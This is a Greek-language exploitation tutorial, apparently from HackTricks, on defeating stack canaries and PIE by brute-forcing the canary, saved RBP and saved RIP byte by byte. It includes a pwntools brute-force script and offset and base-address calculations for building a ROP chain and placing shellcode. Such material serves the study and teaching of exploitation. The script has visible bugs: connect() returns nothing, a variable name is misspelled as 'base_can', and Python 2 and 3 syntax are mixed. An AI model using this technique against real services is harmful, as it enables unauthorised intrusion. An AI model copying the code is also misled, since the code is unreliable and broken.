# BF Διευθύνσεις στη Στοίβα {{#include ../../../banners/hacktricks-training.md}} **Αν αντιμετωπίζετε ένα δυαδικό αρχείο που προστατεύεται από ένα canary και PIE (Position Independent Executable) πιθανότατα χρειάζεστε να βρείτε έναν τρόπο να τα παρακάμψετε.** ![](<../../../images/image (865).png>) > [!NOTE] > Σημειώστε ότι **`checksec`** μπορεί να μην βρει ότι ένα δυαδικό αρχείο προστατεύεται από ένα canary αν αυτό έχει στατικά μεταγλωττιστεί και δεν είναι ικανό να εντοπίσει τη λειτουργία.\ > Ωστόσο, μπορείτε να το παρατηρήσετε χειροκίνητα αν βρείτε ότι μια τιμή αποθηκεύεται στη στοίβα στην αρχή μιας κλήσης λειτουργίας και αυτή η τιμή ελέγχεται πριν την έξοδο. ## Brute-Force Διευθύνσεις Για να **παρακάμψετε το PIE** χρειάζεστε να **διαρρεύσετε κάποια διεύθυνση**. Και αν το δυαδικό αρχείο δεν διαρρέει καμία διεύθυνση, το καλύτερο που μπορείτε να κάνετε είναι να **brute-force το RBP και το RIP που αποθηκεύονται στη στοίβα** στη ευάλωτη λειτουργία.\ Για παράδειγμα, αν ένα δυαδικό αρχείο προστατεύεται χρησιμοποιώντας τόσο ένα **canary** όσο και **PIE**, μπορείτε να ξεκινήσετε brute-forcing το canary, στη συνέχεια τα **επόμενα** 8 Bytes (x64) θα είναι το αποθηκευμένο **RBP** και τα **επόμενα** 8 Bytes θα είναι το αποθηκευμένο **RIP.** > [!TIP] > Υποτίθεται ότι η διεύθυνση επιστροφής μέσα στη στοίβα ανήκει στον κύριο κώδικα του δυαδικού αρχείου, ο οποίος, αν η ευπάθεια βρίσκεται στον κώδικα του δυαδικού αρχείου, θα είναι συνήθως η περίπτωση. Για να brute-force το RBP και το RIP από το δυαδικό αρχείο μπορείτε να καταλάβετε ότι ένα έγκυρο μαντεμένο byte είναι σωστό αν το πρόγραμμα εκτυπώνει κάτι ή απλά δεν καταρρέει. Η **ίδια λειτουργία** που παρέχεται για brute-forcing το canary μπορεί να χρησιμοποιηθεί για brute-force το RBP και το RIP: ```python from pwn import * def connect(): r = remote("localhost", 8788) def get_bf(base): canary = "" guess = 0x0 base += canary while len(canary) < 8: while guess != 0xff: r = connect() r.recvuntil("Username: ") r.send(base + chr(guess)) if "SOME OUTPUT" in r.clean(): print "Guessed correct byte:", format(guess, '02x') canary += chr(guess) base += chr(guess) guess = 0x0 r.close() break else: guess += 1 r.close() print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary) return base # CANARY BF HERE canary_offset = 1176 base = "A" * canary_offset print("Brute-Forcing canary") base_canary = get_bf(base) #Get yunk data + canary CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary # PIE BF FROM HERE print("Brute-Forcing RBP") base_canary_rbp = get_bf(base_canary) RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:]) print("Brute-Forcing RIP") base_canary_rbp_rip = get_bf(base_canary_rbp) RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:]) ``` Το τελευταίο πράγμα που χρειάζεστε για να νικήσετε το PIE είναι να υπολογίσετε **χρήσιμες διευθύνσεις από τις διαρροές** διευθύνσεων: το **RBP** και το **RIP**. Από το **RBP** μπορείτε να υπολογίσετε **πού γράφετε το shell σας στη στοίβα**. Αυτό μπορεί να είναι πολύ χρήσιμο για να γνωρίζετε πού θα γράψετε τη συμβολοσειρά _"/bin/sh\x00"_ μέσα στη στοίβα. Για να υπολογίσετε την απόσταση μεταξύ του διαρρεύσαντος RBP και του shellcode σας, μπορείτε απλά να βάλετε ένα **breakpoint μετά τη διαρροή του RBP** και να ελέγξετε **πού βρίσκεται το shellcode σας**, στη συνέχεια, μπορείτε να υπολογίσετε την απόσταση μεταξύ του shellcode και του RBP: ```python INI_SHELLCODE = RBP - 1152 ``` Από το **RIP** μπορείτε να υπολογίσετε τη **βάση διεύθυνση του εκτελέσιμου αρχείου PIE** που θα χρειαστείτε για να δημιουργήσετε μια **έγκυρη αλυσίδα ROP**.\ Για να υπολογίσετε τη βάση διεύθυνση απλά εκτελέστε `objdump -d vunbinary` και ελέγξτε τις τελευταίες διευθύνσεις αποσυναρμολόγησης: ![](<../../../images/image (479).png>) Σε αυτό το παράδειγμα μπορείτε να δείτε ότι χρειάζονται μόνο **1 Byte και μισό** για να εντοπίσετε όλο τον κώδικα, τότε, η βάση διεύθυνση σε αυτή την περίπτωση θα είναι το **leaked RIP αλλά τελειώνοντας σε "000"**. Για παράδειγμα, αν διαρρεύσατε `0x562002970ecf`, η βάση διεύθυνση είναι `0x562002970000` ```python elf.address = RIP - (RIP & 0xfff) ``` ## Βελτιώσεις Σύμφωνα με [**ορισμένες παρατηρήσεις από αυτή την ανάρτηση**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking), είναι πιθανό ότι όταν διαρρέουν οι τιμές RBP και RIP, ο διακομιστής δεν θα καταρρεύσει με ορισμένες τιμές που δεν είναι οι σωστές και το σενάριο BF θα νομίζει ότι έχει πάρει τις σωστές. Αυτό συμβαίνει επειδή είναι πιθανό ότι **ορισμένες διευθύνσεις απλώς δεν θα το σπάσουν ακόμη και αν δεν είναι ακριβώς οι σωστές**. Σύμφωνα με αυτή την ανάρτηση στο blog, συνιστάται να προστίθεται μια σύντομη καθυστέρηση μεταξύ των αιτημάτων προς τον διακομιστή. {{#include ../../../banners/hacktricks-training.md}}